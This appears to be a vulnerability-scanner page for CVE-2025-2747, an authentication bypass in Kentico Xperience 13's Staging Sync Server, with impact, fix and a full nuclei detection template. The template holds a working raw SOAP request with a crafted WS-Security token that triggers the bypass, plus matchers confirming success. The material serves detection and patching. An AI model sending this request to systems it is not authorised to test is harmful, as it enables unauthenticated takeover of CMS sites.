Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0006)

Exploited in the wild. Listed by CISA on 2025-10-20; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178.

Impact

Unauthenticated attackers can bypass authentication through the Staging Sync Server component by exploiting None-type password handling, gaining control of administrative objects and potentially compromising the entire Kentico CMS.

Fix

Upgrade to Kentico Xperience version 13.0.179 or later that properly handles Staging Sync Server authentication.

How to confirm it

Send: POST /CMSPages/Staging/SyncServer.asmx
Positive when: contains "{{rand}}" and "<wsa:Action>" AND not contains "Site not running" or "SyncServer.ErrorLicense" or "SyncServer.ErrorServiceNotEnabled" or "Staging service is not enabled on this server" AND contains in content_type "text/xml"

Run it with nuclei: nuclei -id CVE-2025-2747 -u <target>

The full check

id: CVE-2025-2747

info:
  name: Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0006)
  author: DhiyaneshDK
  severity: critical
  description: |
    An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178.
  impact: |
    Unauthenticated attackers can bypass authentication through the Staging Sync Server component by exploiting None-type password handling, gaining control of administrative objects and potentially compromising the entire Kentico CMS.
  remediation: |
    Upgrade to Kentico Xperience version 13.0.179 or later that properly handles Staging Sync Server authentication.
  reference:
    - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0006
    - https://devnet.kentico.com/download/hotfixes
    - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011
    - https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2747
    cwe-id: CWE-287
    epss-score: 0.97166
    epss-percentile: 0.99894
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Kentico-CMS"
  tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,kev,vkev,vuln

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData"

        <?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Header>
                    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
                <wsse:UsernameToken>
                    <wsse:Username>y3t4kallxq</wsse:Username>
                    <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">6dfzCOJsdj5Aw+1rGzwoHadPFTQ=</wsse:Password>
                    <wsse:Nonce>4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh</wsse:Nonce>
                    <wsu:Created>2025-03-10T20:11:07Z</wsu:Created>
                        </wsse:UsernameToken>
                    </wsse:Security>
                </soap:Header>
                <soap:Body>
                    <ProcessSynchronizationTaskData xmlns="http://localhost/SyncWebService/SyncServer">
                        <stagingTaskData><![CDATA[<{{rand}}>]]></stagingTaskData>
                    </ProcessSynchronizationTaskData>
                </soap:Body>
            </soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{rand}}"
          - "<wsa:Action>"
        condition: and

      - type: word
        part: body
        words:
          - "Site not running"
          - "SyncServer.ErrorLicense"
          - "SyncServer.ErrorServiceNotEnabled"
          - "Staging service is not enabled on this server"
          - "Staging does not work with blank password"
          - "Missing X509 certificate token"
          - "The security token could not be authenticated or authorized"
        condition: or
        negative: true

      - type: word
        part: content_type
        words:
          - "text/xml"

References

Use this check only on systems you are authorised to test. Where the data comes from